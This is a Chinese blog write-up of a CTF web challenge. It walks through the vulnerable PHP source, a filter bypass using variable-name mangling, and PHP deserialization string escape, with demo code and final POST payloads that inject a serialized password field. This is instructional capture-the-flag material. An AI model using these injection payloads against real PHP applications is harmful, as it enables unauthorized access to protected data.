CTFshow--DJBCTF(大吉大利杯) WEB--spaceman

10 篇文章 14 订阅

师傅们出的MISC题做得有点上头,虽然最后也只做出来四题,web题也没来得及看。。。

源码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')  
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?> 

简单分析得知我们需要POST传入的参数是user_namepass_word,当pass_word的值为ctfshowvip时可以得到flag

但是这里对我们输入的数据进行了过滤,下划线被过滤了,也就是不能直接构造pass_word=

if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");

这里有一个知识点,GET或POST方式传进去的变量名,会自动将空格 + . [转换为_,web入门的web123也是利用这个知识。

所以直接post:

pass+word=ctfshowvip
pass word=ctfshowvip
pass[word=ctfshowvip

即可得到flag,也不需要传入user_name,不过这里还有一个疑问就是正则好像也把[过滤了,不知道为什么第三个payload也能用


上面这个其实是非预期解,出题人的预期解是反序列化字符逃逸

反序列化字符逃逸

序列化serialize()

一个对象经过序列化之后的格式为:
O:类名的长度:类名:类里包含的变量个数:{类型:长度:值;类型:长度:值…}

<?php
class test{
	public $name = 'abc';
	public $number=66;
}
$x = new test();
echo(serialize($x));

得到的结果是O:4:"test":2:{s:4:"name";s:3:"abc";s:6:"number";i:66;}

反序列化unserialize()

用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。这个函数有两个特点,官方介绍是没有的,这里也是参考大佬的文章才知道的。

特点1: 反序列化时遇到了;}忽略后面的字符,所以可以在序列化数据后添加一些字符
在这里插入图片描述
特点2: unserialize根据长度判断内容,长度不对应的时候会报错
在这里插入图片描述

特点3: 可以反序列化类中不存在的元素
在这里插入图片描述

字符逃逸

字符变多

这里直接借用大佬的代码

<?php
highlight_file(__file__);
function filter($str){
    return str_replace('l', 'll', $str); #把str中的l替换成ll
}

class person{
	public $name = 'lonmar';
	public $age = '100';
}
$test = new person();
$test = serialize($test);
echo "</br>";
print_r($test);
echo "</br>";
$test = filter($test);
print_r($test);
print_r(unserialize($test));

输出结果

O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"100";}
O:6:"person":2:{s:4:"name";s:6:"llonmar";s:3:"age";s:3:"100";}

替换过后,实际长度为7,而描述长度为6,少读了一个r 所以失败,这种情况反序列化失败是因为漏读了字符串的value

也可以构造恶意的value,再故意漏读,如令$name='lonmar";s:3:"age";s:2:"35";}'

替换之后,最后的}就读不到了,以此类推,再多几个l,如$name='lllllllllllllllllllllonmar";s:3:"age";s:2:"35";}',后面的;s:3:"age";s:2:"35";}'就因为读不到而逃逸

至于需要多少个l,因为;s:3:"age";s:2:"35";}长度是22 , 所以需要22个l

字符变少

这种情况下反序列化的时候就会多读

<?php
highlight_file(__file__);
function filter($str){
    return str_replace('ll', 'l', $str);
}

class person{
	public $name = 'lonmar';
	public $age = '100';
}

正常的数据 O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"xxx";}
如果做替换,让也";s:3:"age";s:3:"被读进name,再把xxx替换为;s:3:“age”;s:3:“100”;}

$age=123";s:3:"age";s:3:"100";}
此时O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}

name:
llllllllllllllllllllllllllllllllllllllllllonmar =>
lllllllllllllllllllllonmar";s:3:"age";s:26:"123

age:
123";s:3:"age";s:3:"111";} =>
111

预期解

原理说完,也该说一下这个题的预期解了
这里会把输入内容里的ctfshowup替换成ctfshow

function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}

然后序列化和反序列化

$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);

很明显这里是字符减少的类型,每替换一次,字符串长度减少2
后面要传入1";s:8:"password";s:10:"ctfshowvip,也就是要把s:8:"password";s:36:"1这24个字符吞掉,所以需要传11个ctfshowup

这里预期的序列化后的内容(不考虑filter):

O:8:"spaceman":2:{s:8:"username";s:4:"xxxx";s:8:"password";s:10:"ctfshowvip";}

最终payload:

POST:
user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip

这里的user namepass word里的空格可以换成+[

参考文章:
浅谈PHP反序列化字符逃逸
2021-DJBCTF

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z.volcano

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值